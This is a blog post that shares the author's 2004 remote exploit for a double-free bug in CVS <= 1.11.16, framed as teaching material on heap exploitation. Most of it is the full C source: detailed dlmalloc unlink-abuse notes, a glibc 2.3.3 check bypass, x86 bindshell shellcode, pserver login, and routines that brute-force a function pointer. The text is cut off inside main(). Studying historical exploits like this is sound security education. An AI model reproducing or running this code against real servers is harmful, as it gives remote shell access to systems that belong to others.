Looking through some old disks now, and found a couple of exploits I coded back in 2004. Good old times. :)
The first one is an exploit for a double free() in CVS <= 1.11.16. It is heavily documented, since I used it as one of the examples in a 6-day course in exploit development and reverse engineering I taught back then. Even though the current malloc() implementations have much more integrity checks now than they did back then, I think the detailed analysis of the exploitation method in the exploit comments can be quite useful to read and understand for people learning exploit development now. There's often a bit too much trial & error involved when novices (and even some experienced exploit developers) code exploits, doing a detailed analysis and understanding every aspect of the vulnerability and the subsystems involved (in this case dlmalloc) is the best approach for making the exploit as reliable as possible. The other one is a format string vulnerability in Courier IMAP <= 3.0.3. This one required DEBUG_LOGIN to be set though, so wasn't that useful in the real world. Since I've always avoided making "target based" exploits with hardcoded addresses and offsets, if not absolutely necessary, the Courier IMAP exploit automatically determines whether the target is Linux or FreeBSD, the offset to the buffer on the stack, the address of the buffer (by first determining the offset to the stack base, with a known address back then when there was no ASLR), and the offset to the saved return address in auth_debug():s stack frame. The shellcode is customized to do a dup2(1, 2) before executing a shell, since fd 1 pointed to the socket descriptor and fd 2 was used for logging errors. Wouldn't want to have the stderr of the shell redirected to a server log. ;) cvs-argx.c:
/* * Linux/x86 exploit for CVS <= v1.11.16. * * Argumentx, double-free() of error_prog_name. * * Tested and verified to work with: * CVS 1.11.4, glibc-2.3.1 * CVS 1.11.6, glibc-2.3.2 * CVS 1.11.6, glibc-2.3.3 * * There is a bug in the serve_argumentx()-function that allows * us to free() a pointer that gets free()'d again upon exit * (when CVS reads EOF on stdin). * * The global argument_vector[] array is an array with strings * that are allocated when using the "Argument"-command. The * "Argumentx"-command is used to append data to the last allocated * argument string, e.g. argument_vector[argument_count-1]. * * Then argument_vector[0] gets initialized with error_prog_name, * which is previously malloc()'ed in the server()-function. * When the "Argumentx"-command is used, it appends data to the * last entered argument-string (that has been set with the * "Argument"-command). Since there is no check that makes sure * that any arguments have actually been added, it is possible * to append data to the argument_vector[0] string too. * * To append data realloc() is used to extend the chunk. When the * next chunk is free, it will expand into that. If the next chunk * is in use, it will allocate a new chunk with the requested size * and free() the old one after copying its contents to the new. * * If argument_vector[0] == error_prog_name is free()'d, the * error_prog_name pointer variable in the server()-function will still * point to the free chunk though. When CVS reads EOF on stdin, the * error_prog_name pointer will be free()'d again and bad things * might happen (or good, depending on your point of view). * * To exploit the second free() of error_prog_name to overwrite * for instance a function pointer with the address of our shellcode * we need to convince free() that the previous or next chunk is free, * and thus unlink() them from their current bins and consolidate the * adjacent free chunks to one and adding it to the unsorted_chunks bin. * * So, how do we accomplish that? Well, since the error_prog_name * chunk is free it can be allocated again. To affect the consolidation * in free() and abuse unlink() to overwrite arbitrary memory we need * to control the size- and prev_size-fields though. * * This can be done by making sure that the chunk right before the old * error_prog_name chunk is free()'d and gets consolidated with the * error_prog_name chunk, then triggering a malloc() that returns the * consolidated chunk and fills it with data controlled by us. * * In most cases, this is all actually quite trivial. Right before the * error_prog_name buffer is allocated with malloc(), the argument_vector[] * array is allocated. Unless there were other free chunks of the same * size available, error_prog_name will be located right after the * argument_vector chunk. * * Excerpt from src/server.c: (cvs-1.11.16), comments stripped: * * argument_vector_size = 1; * argument_vector = xmalloc (argument_vector_size * sizeof (char *)); * argument_count = 1; * error_prog_name = xmalloc (strlen (program_name) + 8); * sprintf(error_prog_name, "%s server", program_name); * argument_vector[0] = error_prog_name; * * To free() argument_vector[] we can send a couple of "Argument"-commands * so it must realloc() the argument_vector[] to make room for the added * string pointers. The minimum valid chunk size with glibc-2.3.x * is 16 bytes, e.g. room for 12 bytes of data. Thus, the original chunk * has room enough for three 4-byte-pointers. However, serve_argument * doubles argument_vector_size whenever an "Argument"-command is sent * and argument_vector_size <= argument_count so it is enough to send two * "Argument"-commands to make it request 16 bytes with realloc(), e.g. * it requests a chunk size of 24 bytes (16 + 4 rounded up to the nearest * 8-bytes-boundary). * * Since both the argument_vector[] and the error_prog_name chunk was * less than 80 bytes large they are placed in so called "fastbins" * when they are free()'d (MAX_FAST_SIZE = 80). Fastbins are * single-linked-lists (only the chunks fd-pointer is used) instead of * double-linked-lists like larger bins, and the PREV_INUSE-bit in the * next chunks size-field does not get unset when they are free()'d. * Thus, they do not get automatically consolidated with adjacent * chunks that are free()'d. * * When malloc() requests are made for chunk sizes below or equal to * MAX_FAST_SIZE it first checks whether there is a previously free()'d * chunk of the same size (the chunks in a fastbin are all of the same * size) available, so we can easily get the original argument_vector[] * and error_prog_name to be allocated again. * * But, we want a chunk that consists of both the old argument_vector[] * and the error_prog_name chunk, so we can control the error_prog_name * chunks size- and prev_size-fields. To do this, we must first make the * chunks be consolidated with each other. As I mentioned, "fastchunks" * (chunks in fastbins) are not consolidated upon free(). They are * only consolidated in a function named malloc_consolidate(), which * can get called in malloc() and free() if certain conditions are met. * * One condition that always triggers malloc_consolidate() is when a * chunk of 512 bytes (MIN_LARGE_SIZE) or more is requested with malloc(), * so by sending for instance an "Argument"-command with a large string we * can force the error_prog_name and argument_vector[] chunk to be * consolidated. * * To populate the heap with shellcode I use "Entry", with a large * NOP-sled followed by shellcode as its argument. The size of the * NOP-sled (64k) makes it possible for me to use the same shellcode * address in all CVS-binaries I have tested, e.g. a high address on * the heap that normally would not be used. * * Note that a chunk will first be allocated for reading the entire * line, then a new one will be allocated for the argument-string to * "Entry", so the part of the heap that is populated with shellcode * is actually of twice the size we send. The chunk with the entire * line is free()'d afterwards though and can therefore be reused and * partially overwritten. * * Since unlink() performs a "mirrored" overwrite, e.g. 4 bytes at * an offset 12 or 8 from the estimated shellcode address (depending * on if I use it as the fd- or bk-pointer) get overwritten, I use * "\xeb\x0e" as my NOP. 0xeb is the opcode for jmp with a byte-argument, * and 0x0e = 14. "\xeb\x0e" = 2 bytes, + 14 bytes = start executing at * offset 16, so the overwritten bytes will always get jumped over. * * There will not be any alignment-issues, since all chunks are aligned * on 8-byte-boundaries it is not possible to hit the "\x0e"-part of * the "\xeb\x0e" byte-sequence as long as we use an even number as the * estimated shellcode address. This is actually why I used "Entry" instead * of for instance "Argument" to send the shellcode, since "Entry " has * an even number of characters the NOP byte-sequence will be correctly * aligned in the temporary chunk that stores the entire line too. * * So far so good, but the chunk before the error_prog_name-chunk is not * always argument_vector[]. Sometimes it gets occupied by the CVS-root, * e.g. the string passed as an argument to the "Root"-command that is * usually sent right after the pserver-authentication. I solve this * problem by sending a "Set"-command with a large string as an argument * before the "Root"-command, since malloc_consolidate() is then called * and fastchunks are consolidated so that the chunk before error_prog_name * is not returned by malloc() even though it may be the last one free()'d. * * Another problem is that there might be several free chunks available * of the same size (0x20 bytes) when we send the "Argument"-command * that is meant to overwrite the old error_prog_name chunk. This is * solved by sending the same "Argument"-command a few times so that * one of them hopefully overwrites the correct chunk. * * There is one problem that may occur that cannot be solved though, * sometimes the chunk before error_prog_name is allocated to the * server_temp_dir-buffer and since we have no way of affecting the * heap layout before that is allocated (directly after authentication) * and no way of free()'ing it, we can never overwrite the size- and * prev_size-fields in the error_prog_name chunk. * * This only happened with one of my four test cases though (CVS 1.11.16, * glibc-2.3.2), and I believe it's a rather uncommon situation. I was able * to exploit the same binary when I executed it from the the command line * with the same arguments it is started with via inetd though, so the binary * itself was exploitable. * * One difference when being executed from the command line versus being * executed via inetd is the number of environment variables. This would not * normally affect the heap layout, but can do so indirectly in this case * since cvs uses setenv()/putenv() which will realloc() a char**-pointer * to hold an array with the environment string pointers. Another difference * (the only other relevant difference that I can think of) is how much data * is read with each call to read() in CVS and how that affects the buffering * subsystem. The latter could be manipulated remotely while the former * can not. * * The significant part of the heap layout is which chunk is located right * before the error_prog_name chunk. If it is free, or if it's possible to * make it be free()'d, an exploit is possible. * * With glibc < 2.3.3, it is possible to use the old and known technique * described in a couple of phrack articles etc, the "unlinkMe-chunk". With * glibc == 2.3.3 and glibc-2.3.4 versions earlier than 2004/08/21 it is * possible to use another technique, that I developed myself. * * The "security check" that was added in glibc-2.3.3 is that it checks * if p + p->size > p where p is the chunk that is free()’d. This makes it * impossible to use small negative numbers to make “nextchunk” refer to * the contents in a previous chunk. Note that neither prev_size nor the * size-field in nextchunk/prevchunk is checked though. * * Of course, this check is trivial to bypass if it’s possible to include * NUL-bytes in the overflow string, by pointing nextchunk into the chunk * itself. This is usually not the case though, and it is not the case here. * When one cannot use NUL-bytes (except for the terminating NUL-byte) it’s * not so easy, but I see two possibilities. * * Either one can set the size-field with a huge positive number that when * added to the chunk address becomes a valid address on the stack. The * distance between the heap and the stack is so huge that there will be * no NUL-bytes in the number then. This technique can usually not be used * reliably for anything but local exploits, but note that it’s not * necessary to be able to embed anything in the stack, it’s enough to * bruteforce a stack location that does not trigger forward consolidation * (for instance any address that points 4 bytes before a 32-bit 1-value). * * To use this reliably one would have to have great control over the stack. * For exploits when the address to overwrite is known (locals) or in a small * limited range it can be bruteforced, but bruteforcing would take a lot of * time when we have to brute both a function pointer and the offset to a * “good” stack address. * * Another method is to only partially overwrite the size-field, so it points * another chunk in front of it. Either we can make it point to any chunk * that resides after a busy chunk (so the PREV_INUSE-bit is set and forward * consolidation is not triggered) or into another chunk that we control the * contents of. If we point it into another chunk we control the contents of * we might want to get that unlink():ed too so we can overwrite multiple * addresses for each free(). * * Copyright (C) Joel Eriksson, Bitnux 2004 */ #define __USE_BSD #include #include #include #include #include #include #include #include #include #include #include #include #define DEF_ROOT “/cvs” #define DEF_USER “anonymous” #define DEF_PORT 2401 #define DEF_BIND_PORT 12345 #define DEF_FROM_ADDR 0xbffffc00 #define DEF_STOP_ADDR 0xbfff0000 #define DEF_CODE_ADDR 0x08111180 /* * Not the smallest bindshell-code the world has ever seen. ;) * I could have stripped away some error-handling, but since * the size of the shellcode was not an issue in this exploit * I chose to keep it like this. This is how it works: * * write(1, “r00t”, 4); * if (fork() != 0) exit(0); * srv_sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); * setsockopt(srv_sd, SOL_SOCKET, SO_REUSEADDR, &(opt=1), sizeof(opt)); * bind(srv_sd, &sin, sizeof(sin)); * listen(srv_sd, 1); * cli_sd = accept(srv_sd, &sin, &len); * dup2(cli_sd, 2); dup2(cli_sd, 1); dup2(cli_sd, 0); * execve(“/bin/sh”, { “/bin/sh”, NULL }, NULL); * * Note that it only accepts one connection. */ char code[] = “\x31\xdb” /* xor %ebx,%ebx */ “\x43” /* inc %ebx */ “\x68\x72\x30\x30\x74” /* push $0x74303072 */ “\x89\xe1” /* mov %esp,%ecx */ “\x31\xd2” /* xor %edx,%edx */ “\xb2\x04” /* mov $0x4,%dl */ “\x89\xd0” /* mov %edx,%eax */ “\xcd\x80” /* int $0x80 */ “\xeb\x03” /* jmp exit_jumpme */ /* exit_callme: */ “\x5d” /* pop %ebp */ “\xeb\x10” /* jmp data_jumpme */ /* exit_jumpme: */ “\xe8\xf8\xff\xff\xff” /* call exit_callme */ “\x31\xdb” /* xor %ebx,%ebx */ “\x31\xc0” /* xor %eax,%eax */ “\xb0\x01” /* mov $0x1,%al */ “\xcd\x80” /* int $0x80 */ /* data_callme: */ “\x5f” /* pop %edi */ “\xeb\x20” /* jmp code */ /* data_jumpme: */ “\xe8\xf8\xff\xff\xff” /* call data_callme */ “\x02\xff” /* .byte 0x02, 0xff # sin_family */ “\x30\x39” /* .word 0x3930 # sin_port */ “\xff\xff\xff\xff” /* .long 0xffffffff # sin_addr */ “\xff\xff\xff\xff” /* .long 0xffffffff # padding */ “\xff\xff\xff\xff” /* .long 0xffffffff # padding */ “\xff\xff\xff\xff” /* .long 0xffffffff # len */ “/bin/sh” /* .ascii “/bin/sh” */ /* code: */ “\x31\xc0” /* xor %eax,%eax */ “\x31\xdb” /* xor %ebx,%ebx */ “\x31\xc9” /* xor %ecx,%ecx */ “\x31\xd2” /* xor %edx,%edx */ “\x88\x57\x01” /* mov %dl,0x1(%edi) */ “\x89\x57\x04” /* mov %edx,0x4(%edi) */ “\xb0\x02” /* mov $0x2,%al */ “\xcd\x80” /* int $0x80 */ “\x85\xc0” /* test %eax,%eax */ “\x74\x02” /* je code+0x18 */ “\xff\xe5” /* jmp *%ebp */ “\xb0\x66” /* mov $0x66,%al */ “\xb3\x01” /* mov $0x1,%bl */ “\xb1\x06” /* mov $0x6,%cl */ “\x51” /* push %ecx */ “\xb1\x01” /* mov $0x1,%cl */ “\x51” /* push %ecx */ “\x41” /* inc %ecx */ “\x51” /* push %ecx */ “\x89\xe1” /* mov %esp,%ecx */ “\xcd\x80” /* int $0x80 */ “\x89\xc6” /* mov %eax,%esi */ “\x40” /* inc %eax */ “\x85\xc0” /* test %eax,%eax */ “\x79\x02” /* jns code+0x31 */ “\xff\xe5” /* jmp *%ebp */ “\x48” /* dec %eax */ “\xb0\x66” /* mov $0x66,%al */ “\xb3\x0e” /* mov $0xe,%bl */ “\xb2\x01” /* mov $0x1,%dl */ “\x52” /* push %edx */ “\x89\xe2” /* mov %esp,%edx */ “\x31\xc9” /* xor %ecx,%ecx */ “\xb1\x04” /* mov $0x4,%cl */ “\x51” /* push %ecx */ “\x52” /* push %edx */ “\x49” /* dec %ecx */ “\x49” /* dec %ecx */ “\x51” /* push %ecx */ “\x49” /* dec %ecx */ “\x51” /* push %ecx */ “\x56” /* push %esi */ “\x89\xe1” /* mov %esp,%ecx */ “\xcd\x80” /* int $0x80 */ “\x40” /* inc %eax */ “\x85\xc0” /* test %eax,%eax */ “\x79\x02” /* jns code+0x52 */ “\xff\xe5” /* jmp *%ebp */ “\x48” /* dec %eax */ “\xb0\x66” /* mov $0x66,%al */ “\xb3\x02” /* mov $0x2,%bl */ “\x31\xd2” /* xor %edx,%edx */ “\xb2\x10” /* mov $0x10,%dl */ “\x52” /* push %edx */ “\x57” /* push %edi */ “\x56” /* push %esi */ “\x89\xe1” /* mov %esp,%ecx */ “\xcd\x80” /* int $0x80 */ “\x40” /* inc %eax */ “\x85\xc0” /* test %eax,%eax */ “\x79\x02” /* jns code+0x69 */ “\xff\xe5” /* jmp *%ebp */ “\x48” /* dec %eax */ “\xb0\x66” /* mov $0x66,%al */ “\xb3\x04” /* mov $0x4,%bl */ “\xb2\x01” /* mov $0x1,%dl */ “\x52” /* push %edx */ “\x56” /* push %esi */ “\x89\xe1” /* mov %esp,%ecx */ “\xcd\x80” /* int $0x80 */ “\x40” /* inc %eax */ “\x85\xc0” /* test %eax,%eax */ “\x79\x02” /* jns code+0x7d */ “\xff\xe5” /* jmp *%ebp */ “\x48” /* dec %eax */ /* accept_loop: */ “\x31\xc0” /* xor %eax,%eax */ “\x31\xdb” /* xor %ebx,%ebx */ “\x8d\x57\x10” /* lea 0x10(%edi),%edx */ “\xb0\x10” /* mov $0x10,%al */ “\x89\x47\x10” /* mov %eax,0x10(%edi) */ “\xb0\x66” /* mov $0x66,%al */ “\xb3\x05” /* mov $0x5,%bl */ “\x52” /* push %edx */ “\x57” /* push %edi */ “\x56” /* push %esi */ “\x89\xe1” /* mov %esp,%ecx */ “\xcd\x80” /* int $0x80 */ “\x89\xc3” /* mov %eax,%ebx */ “\x40” /* inc %eax */ “\x85\xc0” /* test %eax,%eax */ “\x79\x02” /* jns accept_loop+0x20 */ “\xff\xe5” /* jmp *%ebp */ “\x48” /* dec %eax */ /* handle_connection: */ “\x31\xc9” /* xor %ecx,%ecx */ “\xb1\x03” /* mov $0x3,%cl */ /* dup2_loop: */ “\xb0\x3f” /* mov $0x3f,%al */ “\x49” /* dec %ecx */ “\xcd\x80” /* int $0x80 */ “\x75\xf9” /* jne dup2_loop */ “\x8d\x5f\x14” /* lea 0x14(%edi),%ebx */ “\x88\x43\x07” /* mov %al,0x7(%ebx) */ “\x50” /* push %eax */ “\x53” /* push %ebx */ “\x89\xe1” /* mov %esp,%ecx */ “\x31\xd2” /* xor %edx,%edx */ “\xb0\x0b” /* mov $0xb,%al */ “\xcd\x80”; /* int $0x80 */ ssize_t writen(int sd, const char *buf, size_t len) { ssize_t n = 0; while (len > 0) { ssize_t nwritten; if ((nwritten = write(sd, buf, len)) == -1) { if (errno == EINTR || errno == EAGAIN) continue; perror(“writen: write”); return -1; } buf += nwritten; len -= nwritten; n += nwritten; } return n; } ssize_t sock_print(int sd, const char *str) { return writen(sd, str, strlen(str)); } ssize_t sock_printf(int sd, const char *fmt, …) { char buf[4096]; va_list ap; ssize_t n; va_start(ap, fmt); n = vsnprintf(buf, sizeof buf – 1, fmt, ap); va_end(ap); if (n > 0) { buf[n] = ‘\0’; n = sock_print(sd, buf); } return n; } int tcp_connect(const char *name, unsigned short port, int verbose) { struct sockaddr_in sin; struct hostent *hp; unsigned long addr; int sd; if (name == NULL) addr = INADDR_ANY; else { if ((hp = gethostbyname(name)) == NULL) { perror(“tcp_connect: gethostbyname”); return -1; } addr = ((struct in_addr *) hp->h_addr_list[0])->s_addr; } memset(&sin, ‘\0’, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = addr; sin.sin_port = htons(port); if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(“tcp_connect: socket”); return -1; } if (connect(sd, (struct sockaddr *) &sin, sizeof(sin)) == -1) { perror(“tcp_connect: connect”); close(sd); return -1; } if (verbose) fprintf( stderr, “Connection to %s:%d opened\n”, name ? name : “localhost”, port ); return sd; } /* * CVS send scrambled passwords when pserver-authentication is * used. As you can see it is a simple monoalphabetic * substitution cipher, so sniffed pserver-passwords are trivial * to decode. */ void cvs_pass(char *buf, const char *pass) { unsigned char tab[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x72, 0x78, 0x35, 0x4f, 0x60, 0x6d, 0x48, 0x6c, 0x46, 0x40, 0x4c, 0x43, 0x74, 0x4a, 0x44, 0x57, 0x6f, 0x34, 0x4b, 0x77, 0x31, 0x22, 0x52, 0x51, 0x5f, 0x41, 0x70, 0x56, 0x76, 0x6e, 0x7a, 0x69, 0x29, 0x39, 0x53, 0x2b, 0x2e, 0x66, 0x28, 0x59, 0x26, 0x67, 0x2d, 0x32, 0x2a, 0x7b, 0x5b, 0x23, 0x7d, 0x37, 0x36, 0x42, 0x7c, 0x7e, 0x3b, 0x2f, 0x5c, 0x47, 0x73, 0x4e, 0x58, 0x6b, 0x6a, 0x38, 0x24, 0x79, 0x75, 0x68, 0x65, 0x64, 0x45, 0x49, 0x63, 0x3f, 0x5e, 0x5d, 0x27, 0x25, 0x3d, 0x30, 0x3a, 0x71, 0x20, 0x5a, 0x2c, 0x62, 0x3c, 0x33, 0x21, 0x61, 0x3e, 0x4d, 0x54, 0x50, 0x55, 0xdf, 0xe1, 0xd8, 0xbb, 0xa6, 0xe5, 0xbd, 0xde, 0xbc, 0x8d, 0xf9, 0x94, 0xc8, 0xb8, 0x88, 0xf8, 0xbe, 0xc7, 0xaa, 0xb5, 0xcc, 0x8a, 0xe8, 0xda, 0xb7, 0xff, 0xea, 0xdc, 0xf7, 0xd5, 0xcb, 0xe2, 0xc1, 0xae, 0xac, 0xe4, 0xfc, 0xd9, 0xc9, 0x83, 0xe6, 0xc5, 0xd3, 0x91, 0xee, 0xa1, 0xb3, 0xa0, 0xd4, 0xcf, 0xdd, 0xfe, 0xad, 0xca, 0x92, 0xe0, 0x97, 0x8c, 0xc4, 0xcd, 0x82, 0x87, 0x85, 0x8f, 0xf6, 0xc0, 0x9f, 0xf4, 0xef, 0xb9, 0xa8, 0xd7, 0x90, 0x8b, 0xa5, 0xb4, 0x9d, 0x93, 0xba, 0xd6, 0xb0, 0xe3, 0xe7, 0xdb, 0xa9, 0xaf, 0x9c, 0xce, 0xc6, 0x81, 0xa4, 0x96, 0xd2, 0x9a, 0xb1, 0x86, 0x7f, 0xb6, 0x80, 0x9e, 0xd0, 0xa2, 0x84, 0xa7, 0xd1, 0x95, 0xf1, 0x99, 0xfb, 0xed, 0xec, 0xab, 0xc3, 0xf3, 0xe9, 0xfd, 0xf0, 0xc2, 0xfa, 0xbf, 0x9b, 0x8e, 0x89, 0xf5, 0xeb, 0xa3, 0xf2, 0xb2, 0x98, }; unsigned char *cp = (unsigned char *) buf; *cp++ = ‘A’; while (*pass) *cp++ = tab[(int) *pass++]; } /* * Perform pserver-authentication. */ int cvs_auth(int sd, const char *root, const char *user, const char *pass) { char buf[1024]; ssize_t nread; sock_printf(sd, “BEGIN AUTH REQUEST\n”); sock_printf(sd, “%s\n”, root); sock_printf(sd, “%s\n”, user); sock_printf(sd, “%s\n”, pass); sock_printf(sd, “END AUTH REQUEST\n”); if ((nread = read(sd, buf, sizeof(buf)-1)) == -1) { perror(“cvs_auth: read”); return -1; } buf[nread] = ‘\0’; if (strcmp(buf, “I HATE YOU\n”) == 0) { fprintf(stderr, “cvs_auth: Login failed.\n”); return -1; } if (strcmp(buf, “I LOVE YOU\n”) != 0) { fprintf(stderr, “cvs_auth: Unexpected reply: %s”, buf); return -1; } return 0; } int cvs_argx(int sd, const char *root, unsigned long code_addr, unsigned long func_addr, int glibc233) { static unsigned long chunk_addr = 0; ssize_t nread; char buf[128]; int i, j, n; /* * Decrement address to be overwritten with 8 when it is used as a bk-pointer. */ func_addr -= 8; /* * Make sure fastchunks are consolidated by requesting a large chunk. * This is an extremely important step to make the exploit reliable, * the “Root”-command will sometimes use the chunk right before * error_prog_name to store the cvsroot-string if that chunk was not * allocated to argument_vector[]. */ sock_print(sd, “Set A=”); for (i = 0; i < 512-5; i++) writen(sd, "A", 1); writen(sd, "\n", 1); /* * Set CVS-root directory */ sock_printf(sd, "Root %s\n", root); /* * In my test cases, the error_prog_name chunk has been followed by a * 0x108 bytes large used chunk which has been followed by a 0x208 * bytes unused one. That chunk will be used to store the value of the * X-variable sent below. Since we know its offset from the * error_prog_name chunk we can point nextchunk & "prevchunk" into it. * * Since this approach relies on a specific heap layout being met it * is only used when when glibc >= 2.3.3 has been detected. For * glibc < 2.3.3 we can use a negative size-field and point nextchunk * into the chunk itself. */ sock_print(sd, "Set AAAABBBBCCCCDDDD="); writen(sd, (char *) &code_addr, sizeof(code_addr)); writen(sd, (char *) &func_addr, sizeof(func_addr)); sock_print(sd, "AAAAAAAAAAAA"); n = -8; writen(sd, (char *) &n, sizeof(n)); for (i = 0; i < 520-24-5; i++) writen(sd, "A", 1); writen(sd, "\n", 1); /* * Force argument_vector[0] == error_prog_name to be realloc()'ed, * e.g. free()'d and malloc()'ed again (and moved to another addr). * The "Argumentx"-command tries to append the specified string to * argument_vector[argument_count-1], but since no "Argument"-commands * have been sent, it will append it to the special argument_vector[0] * string, that actually points to the error_prog_name string. * * To append data, it uses realloc(), which will free() the old * chunk and malloc a new one (assuming there is not room enough * in the current chunk and the following one is used so it cannot * expand into that one). */ sock_print(sd, "Argumentx AAAABBBBCCCCDDDD\n"); /* * Force the argument_vector[] array to be realloc()'ed, without risking * that the argument string specified is allocated to the now free * error_prog_name chunk of size 0x10 bytes. */ for (i = 0; i < 2; i++) sock_print(sd, "Argument AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\n"); /* * Force fastchunks to be consolidated. This will consolidate * the old error_prog_name and the preceding chunk which may * or may not be the old argument_vector[], but it seems like * it always is a 0x10 bytes large chunk. */ sock_print(sd, "Argument "); for (i = 0; i < 512-5; i++) writen(sd, "A", 1); writen(sd, "\n", 1); /* * Allocate chunk that will overwrite the old error_prog_name chunk. * Since there may be other free chunks of the same size we loop * a few times to make sure that we get the chunk we want one of * these times. */ for (i = 0; i < 8; i++) { /* * We would not want the name of the variable to use the * 0x20 bytes chunk we want to overwrite, so we must use * a string that is larger than 0x20-5 bytes. */ sock_printf(sd, "Set AAAABBBBCCCCDDDDEEEEFFFFGGGG%04X=AAAA", i); /* * This will be interpreted as the size-field of nextchunk * and will point "nextnextchunk" to the chunk that holds * this string. The PREV_INUSE-bit will be set since the * chunk before this one is used, and thus nextchunk will * not be unlink():ed. Note that the 3 least significant * bytes used are not used, so -8 is the lowest negative * offset we could have used. */ n = -8; writen(sd, (char *) &n, sizeof(n)); /* * This will be interpreted as the prev_size-field of the * fake error_prog_name chunk, and should hold the negative * offset to the fake chunk that we want to be unlink():ed. * Note that no bits are masked off the prev_size-field, so * we can use an arbitrary offset. * * The address of the previous chunk is calculated as * p - prev_size, where p is the pointer to this chunk (the * fake error_prog_name chunk). When we set prev_size to * -1 (-0x118) the address of the previous chunk will be * calculated as p + 1 (p + 0x118). */ if (glibc233) n = -0x118; else n = -1; writen(sd, (char *) &n, sizeof(n)); /* * This will be interpreted as the size-field of the fake * error_prog_name chunk. Since the PREV_INUSE-bit is not * set, the previous chunk (p + p->prev_size) will be * unlink():ed. * * To determine if the chunk after this chunk (nextchunk) * should be unlink():ed the PREV_INUSE-bit of the “nextnext” * chunks size-field is checked. Thus, assuming the fake * chunk is called p and nextchunk is called n, we must: * * – Set p->size so p + p->size is a valid address. * – Set n->size so n + n->size is a valid address. * * If we can set n->fd and n->bk (e.g. byte 8-11 and 12-16) * to arbitrary values, we can get n to be unlink():ed by: * * – Ensuring that the byte at n + n->size + 4 have the * PREV_INUSE-bit (the least significant bit) unset. * The “+ 4” assumes we are exploiting a little-endian * architecture, otherwise it would have been “+ 7”. * * In this case we will be satisfied with the unlink() of * “prevchunk” and thus want to ensure that the byte at * n + n->size + 4 (or + 7 in the case of big-endian) have * the PREV_INUSE-bit _set_. * * Note that the 3 least significant bytes are not used, so * -8 is the lowest negative offset we can use for p->size * and n->size. Thus, achieving multiple overwrites with * a single free() in this case (by making sure nextchunk * is unlink():ed too) would force us to point nextchunk * outside this buffer and therefore rely more heavily on * a specific heap layout to be met. * * When glibc-2.3.3 is detected, we are forced to do this * anyway so multiple overwrite could be used to speed up * bruteforcing. Feel free to add this feature if you feel * like it. ;) */ if (glibc233) n = 0x130; else n = -8; /* * To bypass the security check that was added in glibc-2.3.3 * we only want to do a partial overwrite (2 bytes + terminating * NUL-byte) of the size-field in that case. */ writen(sd, (char *) &n, glibc233 ? 2 : sizeof(n)); if (! glibc233) { /* * For glibc-versions below 2.3.3 we set prev_size to -1 * so we have to write one byte here to get aligned. */ writen(sd, “A”, 1); /* * This will be interpreted as the fd-pointer. * Thus, the four bytes at offset 12 to 15 from * code_addr will be overwritten with func_addr. */ writen(sd, (char *) &code_addr, sizeof(code_addr)); /* * This will be interpreted as the bk-pointer. * Thus, the four bytes at offset 8 to 11 from * func_addr will be overwritten with code_addr. * That is why we subtracted 8 from func_addr * in the beginning of this function. */ writen(sd, (char *) &func_addr, sizeof(func_addr)); } if (glibc233) { /* * When glibc 2.3.3 has been detected we only * partially overwritten the size-field, so we * don’t want to write anything more to the * string now. * * This creates a problem though. Each line read * by CVS is first stored in a temporary and dynamically * allocated buffer. If we don’t write more data * to the line, the entire line is small enough to * be stored in the chunk we want to overwrite and * if that happens we’re in trouble. * * Luckily for us we can however write an arbitrary * number of NUL-bytes before the newline-character * to make the line buffer bigger without overwriting * the remaining bytes of the fake error_prog_name * chunks size-field (since the string is only copied * up until the first terminating NUL-byte). */ for (j = 0; j < 9; j++) writen(sd, "\0", 1); } writen(sd, "\n", 1); } /* * Populate heap with our shellcode. */ sock_print(sd, "Entry "); for (i = 0; i < (65530 / 2) - 16 - strlen(code); i++) writen(sd, "\xeb\x0e", 2); for (i = 0; i < 16; i++) writen(sd, "A", 1); sock_printf(sd, "%s\n", code); /* * Send EOF, so the old error_prog_name pointer is free()'d again. */ shutdown(sd, SHUT_WR); /* * Read string to see if exploit succeeded. */ if ((nread = read(sd, buf, sizeof(buf)-1)) == -1) { perror("cvs_argx: read"); return -1; } buf[nread] = '\0'; /* * Shellcode starts with writing "r00t". */ if (! strcmp(buf, "r00t")) return 0; /* * Glibc >= 2.3.3 writes an error message to stderr when encountering * an “invalid” size-field in the chunk. The error message includes * the chunk address, which makes for a nice info-leak too in this * case. CVS is started via inetd, so everything written to stdout and * stderr can be read. */ n = sizeof(“free(): invalid pointer 0x”)-1; if (chunk_addr == 0 && ! strncmp(buf, “free(): invalid pointer 0x”, n)) { fprintf(stderr, “glibc-2.3.3 detected.\n”); if (sscanf(&buf[n], “%08x”, (unsigned int *) &chunk_addr) != 1) { fprintf(stderr, “Could not extract chunk address from: %s”, buf); return -3; } /* * The address printed is to the pointer being free()’d and not * the actual chunk address, which starts 8 bytes before that. */ chunk_addr -= 8; fprintf(stderr, “Chunk address is: 0x%08x\n”, (int) chunk_addr); return -2; } return -1; } void usage(const char *progname) { fprintf(stderr, “Usage: %s [OPTION]… ADDR [PORT]\n”, progname); fprintf(stderr, “Linux/x86 exploit for CVS <= 1.11.16 (argumentx)\n\n"); fprintf(stderr, " -r ROOT CVS-root\n"); fprintf(stderr, " -u USER CVS user\n"); fprintf(stderr, " -p PASS CVS password\n"); fprintf(stderr, " -f FROM_ADDR Where to start bruteforcing a function pointer address\n"); fprintf(stderr, " -s STOP_ADDR Where to stop bruteforcing a function pointer address\n"); fprintf(stderr, " -c CODE_ADDR Estimated shellcode address\n"); fprintf(stderr, " -b BIND_PORT Port to bind shell at\n"); fprintf(stderr, " -h Show this help\n"); fprintf(stderr, "\nBy Joel Eriksson \n”); } int main(int argc, char **argv) { unsigned long from_addr = DEF_FROM_ADDR; unsigned long stop_addr = DEF_STOP_ADDR; unsigned long code_addr = DEF_CODE_ADDR; unsigned long bind_port = DEF_BIND_PORT; unsigned long func_addr; char *root = DEF_ROOT; char *user = DEF_USER; char *arg0 = argv[0]; int port = DEF_PORT; char *pass = “A”; int c, glibc233; char *addr; while ((c = getopt(argc, argv, “u:p:r:f:s:c:b:h”)) != -1) switch (c) { case ‘r’: if ((root = strdup(optarg)) == NULL) { perror(“strdup(root)”); 